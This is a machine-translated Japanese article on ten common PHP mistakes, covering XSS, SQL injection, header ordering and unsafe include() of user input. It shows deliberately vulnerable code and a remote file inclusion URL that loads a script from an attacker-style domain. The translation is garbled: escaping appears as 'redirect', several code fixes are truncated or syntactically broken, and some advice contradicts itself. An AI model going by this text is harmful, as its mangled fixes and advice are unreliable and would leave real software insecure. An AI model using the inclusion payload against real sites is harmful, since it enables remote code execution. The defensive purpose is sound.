1. HTML エンティティを無視しないでください
基本的な常識: すべての信頼できない入力 (特にユーザーがフォームから送信したデータ) は出力前にリダイレクトされる必要があります。 echo $_GET['usename'] ;
この例は次のように出力する可能性があります:
<script>/*管理者パスワードを変更するか、Cookie を設定するスクリプト*/</script>
これは、ユーザーが確実に実行しない限り、明らかなセキュリティ リスクです。正しく入力しています。
修正方法:
「<」、「>」、「and」などを正しい HTML 表現 (<、>'、および ") に変換する必要があります。関数 htmlspecialchars と htmlentities() が行います。
正しい方法:
コードをコピーします コードは次のとおりです:
echo htmlspecialchars($_GET['username'],
2); SQL 入力
以前、「SQL インジェクションを防ぐ最も簡単な方法 (php+mysql)」という記事でこの問題について説明し、ある人が php.ini で magic_quotes をオンに設定していると教えてくれました。この問題については心配する必要がありますが、すべての入力が $_GET、$_POST、または $_COOKIE から取得されるわけではありません。 修正方法:
SQL インジェクションを防ぐ最も簡単な方法 (php+mysql) を、私は依然として推奨します。 mysql_real_escape_string() 関数を使用します:
コードをコピーします コードは次のとおりです:
$sql = "ユーザーを更新 SET
name='.mysql_real_escape_string($name)
Where id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. HTTP ヘッダー関連関数の間違った使用
: header()、session_start()、 setcookie()
この警告に遭遇したことはありますか?ヘッダーとボディ。 ヘッダーには Cookie などの非視覚データが含まれています。常に頭が最初に到着します。テキスト部分には、ビジュアル HTML、画像、その他のデータが含まれます。
output_buffering が Off に設定されている場合、出力がある前にすべての HTTP ヘッダー関連関数を呼び出す必要があります。問題は、ある環境で開発し、別の環境にデプロイすると、output_buffering 設定が異なる可能性があることです。その結果、リダイレクトが停止し、Cookie とセッションが正しく設定されませんでした...
修正方法:
出力する前に必ず http ヘッダー関連関数を呼び出し、output_buffering = Off に設定してください
。
4. ファイルに安全でないデータを使用することを要求するか、含める
もう一度言いますが、自分で明示的に宣言していないデータは信頼しないでください。 $_GET、$_POST、または $_COOKIE から取得したファイルを含めたり、要求したりしないでください。
例:
index.php コードをコピーします
コードは次のとおりです:< //ヘッダー、構成、データベース接続などを含む
include($_GET['filename ']);
//フッター
?>
これで、あらゆるハッカーが http://www.yourdomain.com/index.php?filename=anyfile.txt
を使用して機密情報を取得できるようになります。または、PHP スクリプトを実行します。
allow_url_fopen=On の場合、あなたは死んでいます:
次の入力を試してください:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
これで Web ページが完成しましたhttp://www.youaredoomed.com/phphack.php の出力が含まれています。ハッカーはスパムの送信、パスワードの変更、ファイルの削除などを行うことができます。想像できるものなら何でも。
修正方法:
どのファイルを include ディレクティブまたは require ディレクティブに含めることができるかを自分で制御する必要があります。
これは簡単ではありますが、包括的な解決策ではありません:
コードをコピーします
コードは次のとおりです: $allowedFiles = array('file1 .txt ','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('許可されていません')
?>
5. 文法エラー 文法エラーには、非常に一般的なため、ここにリストする必要があるすべての語彙および文法エラーが含まれます。解決策は、PHP の構文を注意深く研究し、括弧、中括弧、セミコロン、または引用符を見逃さないように注意することです。また、メモ帳は使用せずに、適切なエディタを見つけてください。
6. オブジェクト指向の使用がほとんど、またはまったくない
多くのプロジェクトでは PHP のオブジェクト指向テクノロジが使用されていないため、コードのメンテナンスに非常に時間と労力がかかります。 PHP はますます多くのオブジェクト指向テクノロジをサポートしており、ますます改良されています。オブジェクト指向テクノロジを使用しない理由はありません。
7. フレームワークを使用しないでください
PHP プロジェクトの 95% は、作成、編集、一覧表示、削除という同じ 4 つのことを行っていますが、これら 4 つのことを実行するのに役立つ MVC フレームワークが数多くあります。それらを使ってみてはどうでしょうか?
8. PHP にすでにある関数がわからない
PHP のコアには多くの関数が含まれています。多くのプログラマーは何度も車輪の再発明を繰り返します。多くの時間が無駄になりました。コーディングする前にGoogleでPHP mamualと検索してみると新しい発見があるかも知れません! PHP の exec() は、cmd シェルを実行し、実行結果の最後の行を文字列の形式で返すことができる強力な関数です。セキュリティを考慮して、EscapeShellCmd() を使用できます
9. 古いバージョンの PHP を使用してください 多くのプログラマは依然として PHP4 を使用しています。PHP4 での開発は PHP の可能性を十分に活用できず、セキュリティ上のリスクが依然として存在します。 PHP5 に切り替えるには、それほど手間はかかりません。ほとんどの PHP4 プログラムは、ステートメントをほとんど変更せずに、またはまったく変更せずに PHP5 に移行できます。 http://www.nexen.net の調査によると、PHP サーバーの 12% のみが PHP5 を使用しているため、PHP 開発者の 88% は依然として PHP4 を使用しています
10. 引用符を 2 回変更してください
。 Web ページで ' または '" を見たことがありますか? これは通常、開発者の環境では Magic_quotes が off に設定されており、デプロイされたサーバーでは magic_quotes = on に設定されているためです。PHP は GET、POST、COOKIE のデータに対して addlashes を繰り返し実行します。 ().
元のテキスト:
それは文字列です
上の魔法の引用符:
それは文字列です
もう一度実行します
addslashes():
それは文字列です
HTML出力:
それは文字列です
もう1つ状況としては、ユーザーが最初に間違ったログイン情報を入力したことが原因で、サーバーがその間違った入力を検出すると、同じフォームが出力され、ユーザーに再入力が要求され、ユーザーの入力が 2 回変更されてしまいます。
http://www.bkjia.com/PHPjc/318886.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/318886.html技術記事 1. htmlentities の意味を変更しないでください。基本的な常識: すべての信頼できない入力 (特にユーザーがフォームから送信したデータ) は出力前に変更する必要があります。 echo$_GET['usename']; この例は...